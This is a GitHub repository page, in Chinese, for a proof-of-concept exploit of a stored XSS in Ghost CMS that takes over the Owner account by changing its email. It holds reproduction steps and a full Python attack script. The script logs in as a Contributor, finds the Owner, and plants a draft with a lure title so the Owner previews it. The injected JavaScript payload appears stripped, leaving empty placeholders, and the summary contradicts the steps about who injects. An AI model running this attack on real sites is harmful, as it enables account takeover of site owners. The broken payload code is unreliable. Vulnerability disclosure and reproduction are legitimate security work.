wojtekchwala/CVE-2025-66849
GitHub: wojtekchwala/CVE-2025-66849
Ghost CMS 存储型 XSS 漏洞 PoC,实现通过伪造邮件更改所有者权限的账户接管。
Stars: 0 | Forks: 0
# CVE-2025-66849
Ghost CMS 权限提升 PoC
### 摘要
在 Ghost Foundation Ghost CMS 6.4.0 及以下版本中,帖子草稿编辑器中的 HTML 块未能正确清理或编码用户提供的内容,导致存储型跨站脚本(XSS)漏洞。拥有者(Owner)账户可以注入任意 JavaScript 到草稿中,并在查看时执行。这使得攻击者能够在拥有者的上下文中执行特权操作。
### 漏洞概述
#### 严重程度:**高**
#### 影响版本:**Ghost 6.4.0(截至 2025 年 10 月 20 日的最新版本) - Ghost CMS 6.4.0 及以下版本**
### 复现步骤
要演示该漏洞,需要设置一个包含两个账户的本地 Ghost CMS 实例:
1. 拥有者账户(Owner)——在 Ghost 安装过程中自动创建。
2. 贡献者账户(Contributor)——由拥有者邀请新用户创建。Ghost 会向贡献者的邮箱发送一个 Magic Link 以完成账户设置。
由于此操作在本地进行,建议安装邮件捕获工具(如 MailHog)(例如通过 Docker)。这样可以本地拦截 Ghost 发送的 Magic Link,使贡献者能够自行激活账户。
当两个账户均处于活跃状态后,即可使用利用脚本(`contributor.py`)。该脚本需要贡献者的登录凭据以及将分配给拥有者的新邮箱地址。
脚本参数如下:
```
-u / --username Contributor username (email)
-p / --password Contributor password
-e / --new-email New email address to be set on the Owner account
--url Ghost instance URL (optional)
```
在终端中运行脚本使用:
```
python3 contributor.py -u 'contributor@contributor.com' -p 'wojtek123!@#' -e 'w0j73kchanged@w0j73k.com'
```
执行后,脚本会自动创建一个包含恶意 JavaScript 载荷的新草稿,并插入到易受攻击的 HTML 块中。
要触发存储型 XSS,**拥有者只需预览该草稿**:在 Ghost 管理面板中打开草稿并点击“预览”。注入的脚本将在后台以拥有者的权限执行,而拥有者不会收到其邮箱已被更改的通知。
```
import requests
import json
import argparse
class GhostCMSSession:
def __init__(self, ghost_url="http://localhost:2368"):
self.ghost_url = ghost_url.rstrip('/')
self.api_url = f"{self.ghost_url}/ghost/api/admin"
self.session = requests.Session()
self.authenticated = False
self.current_user = None
self.owner_user = None
self.session.headers.update({
'Origin': self.ghost_url,
'Accept': 'application/json',
'Content-Type': 'application/json'
})
def login(self, username, password):
"""Login to Ghost with username and password"""
login_url = f"{self.api_url}/session/"
payload = {"username": username, "password": password}
try:
response = self.session.post(login_url, json=payload)
if response.status_code == 201:
print(f"✓ Successfully logged in as {username}")
self.authenticated = True
self.current_user = self.get_current_user()
self.owner_user = self.get_owner_user()
return True
else:
print(f"✗ Login failed: {response.status_code}")
return False
except Exception as e:
print(f"✗ Login error: {str(e)}")
return False
def get_current_user(self):
"""Get current user information"""
if not self.authenticated:
return None
try:
url = f"{self.api_url}/users/me/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
user = data['users'][0]
print(f"\n Current User: {user.get('name', 'Unknown')}")
print(f" Email: {user.get('email', 'Unknown')}")
print(f" User ID: {user.get('id', 'Unknown')}")
if 'roles' in user and user['roles']:
role = user['roles'][0]
if isinstance(role, dict):
print(f" Role: {role.get('name', 'Unknown')}")
return user
return None
except Exception as e:
print(f" Error fetching user: {str(e)}")
return None
def get_owner_user(self):
"""Fetch all users and find the owner - return full user object"""
if not self.authenticated:
return None
try:
print(f"\n Fetching all users to find owner...")
url = f"{self.api_url}/users/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
users = data.get('users', [])
print(f" Found {len(users)} users")
for user in users:
if 'roles' in user and user['roles']:
role = user['roles'][0]
role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()
print(f" - {user.get('name')} ({user.get('email')}) - Role: {role_name}")
if role_name == 'owner' or role_name == 'administrator':
print(f"\n ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
print(f" Slug: {user.get('slug')}")
print(f" Email: {user.get('email')}")
return user
return None
return None
except Exception as e:
print(f" ✗ Error fetching users: {str(e)}")
return None
def create_lexical_with_html(self, html_content):
"""Create Lexical format with HTML node (as a JSON string)"""
lexical_structure = {
"root": {
"children": [
{
"type": "html",
"version": 1,
"html": html_content,
"visibility": {
"web": {
"nonMember": True,
"memberSegment": "status:free,status:-free"
},
"email": {
"memberSegment": "status:free,status:-free"
}
}
},
{
"children": [],
"direction": None,
"format": "",
"indent": 0,
"type": "paragraph",
"version": 1
}
],
"direction": None,
"format": "",
"indent": 0,
"type": "root",
"version": 1
}
}
return json.dumps(lexical_structure)
def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
"""Create a post with Lexical HTML content"""
if not self.authenticated or not self.current_user:
print("✗ Not authenticated")
return None
if not self.owner_user:
print("✗ Owner user not found")
return None
author_id = self.current_user.get('id')
owner_id = self.owner_user.get('id')
owner_slug = self.owner_user.get('slug')
owner_name = self.owner_user.get('name')
print(f"\n Creating post with CONTRIBUTOR as author")
print(f" Author ID: {author_id} ({self.current_user.get('name')})")
print(f" Target Owner ID: {owner_id}")
print(f" Target Owner Slug: {owner_slug}")
print(f" Target Owner Name: {owner_name}")
# HTML content with placeholders
article_content = """\">"""
# Replace placeholders with actual owner data
html_content_with_id = article_content.replace("", owner_id)
html_content_with_id = html_content_with_id.replace("", owner_slug)
html_content_with_id = html_content_with_id.replace("", owner_name)
html_content_with_id = html_content_with_id.replace("", new_email)
print(f"\n HTML content prepared (with Owner data injected)")
print(f" Target email change: {self.owner_user.get('email')} → {new_email}")
# Create Lexical content
lexical_content = self.create_lexical_with_html(html_content_with_id)
# Prepare post data with Lexical
post_data = {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
'authors': [author_id],
}]
}
if excerpt:
post_data['posts'][0]['excerpt'] = excerpt
if tags:
post_data['posts'][0]['tags'] = [{'name': tag} for tag in tags]
# Try multiple API approaches
attempts = [
{'url': f"{self.api_url}/posts/?source=html", 'data': post_data},
{'url': f"{self.api_url}/posts/", 'data': post_data},
{
'url': f"{self.api_url}/posts/?source=html",
'data': {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
'authors': [{'id': author_id}],
}]
}
},
{
'url': f"{self.api_url}/posts/?source=html",
'data': {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
}]
}
},
]
for i, attempt in enumerate(attempts, 1):
try:
print(f"\n Attempt {i}: {attempt['url']}")
response = self.session.post(attempt['url'], json=attempt['data'])
if response.status_code == 201:
post = response.json()['posts'][0]
print(f"\n✓✓✓ Post created successfully!")
print(f" Title: {post['title']}")
print(f" Post ID: {post['id']}")
print(f" Status: {post['status']}")
if 'authors' in post and post['authors']:
print(f" Author: {post['authors'][0].get('name', 'Unknown')}")
print(f" Admin URL: {self.ghost_url}/ghost/#/editor/post/{post['id']}")
print(f"\n ⚠️ Post contains script targeting Owner: {owner_name} ({owner_slug})")
print(f" ⚠️ Email change: {self.owner_user.get('email')} → {new_email}")
return response.json()
else:
print(f" ✗ Status {response.status_code}")
print(f" Response: {response.text}")
except Exception as e:
print(f" ✗ Exception: {str(e)}")
print(f"\n✗ All attempts to create post failed.")
return None
def logout(self):
"""Logout from Ghost session"""
if self.authenticated:
try:
logout_url = f"{self.api_url}/session/"
self.session.delete(logout_url)
print("\n✓ Logged out successfully")
except:
pass
self.session.close()
def main():
parser = argparse.ArgumentParser(
description='Ghost CMS Stored XSS PoC - Account Takeover via Email Change'
)
parser.add_argument('-u', '--username', required=True,
help='Ghost username (email)')
parser.add_argument('-p', '--password', required=True,
help='Ghost password')
parser.add_argument('-e', '--new-email', required=True,
help='New email to set for owner account')
parser.add_argument('--url', default='http://localhost:2368',
help='Ghost instance URL')
args = parser.parse_args()
# Article details
article_title = "Review Required: Important Update"
article_tags = ["review"]
article_excerpt = "Please review this update at your earliest convenience"
# Initialize Ghost client
ghost = GhostCMSSession(ghost_url=args.url)
# Login
if not ghost.login(args.username, args.password):
return
# Create post with malicious content
if ghost.current_user and ghost.owner_user:
ghost.create_post_for_review(
title=article_title,
new_email=args.new_email,
tags=article_tags,
excerpt=article_excerpt
)
# Logout
ghost.logout()
if __name__ == "__main__":
main()
```
标签:Contributor, CVE-2025-66849, Ghost 6.4.0, Ghost CMS, HTML块, JavaScript注入, Owner, PoC, XSS, 内容注入, 前端安全, 协议分析, 存储型XSS, 安全测试, 富文本编辑, 提权, 攻击性安全, 暴力破解, 未过滤输入, 权限提升, 模糊测试, 漏洞复现, 漏洞情报, 漏洞披露, 自动化分析, 跨站脚本, 逆向工具